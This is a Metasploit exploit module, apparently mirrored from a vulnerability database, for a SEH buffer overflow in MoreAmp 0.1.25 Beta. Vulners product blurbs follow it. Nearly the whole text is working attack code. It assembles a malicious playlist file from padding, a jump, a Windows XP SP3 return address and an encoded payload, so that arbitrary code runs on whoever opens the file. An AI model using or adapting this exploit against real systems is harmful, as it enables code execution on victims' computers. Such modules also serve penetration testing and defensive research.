#MoreAmp Seh Buffer Overflow (meta)
#Greetz:His0k4 , Bibi-info , Volc4n0
#sec4ever.com
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
By creating a specially crafted .m3u file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'MadjiX',
'Version' => 'Version 1',
'References' =>
[
[ 'OSVDB', '65789' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32
],
'Privileged' => false,
'DisclosureDate' => '17-07-2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),
], self.class)
end
def exploit
sploit = rand_text_alphanumeric(108)
sploit << "\xeb\x06\x90\x90"
sploit << [target.ret].pack('V')
sploit << payload.encoded
sploit << rand_text_alphanumeric(400 - payload.encoded.length)
maffile = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(maffile)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation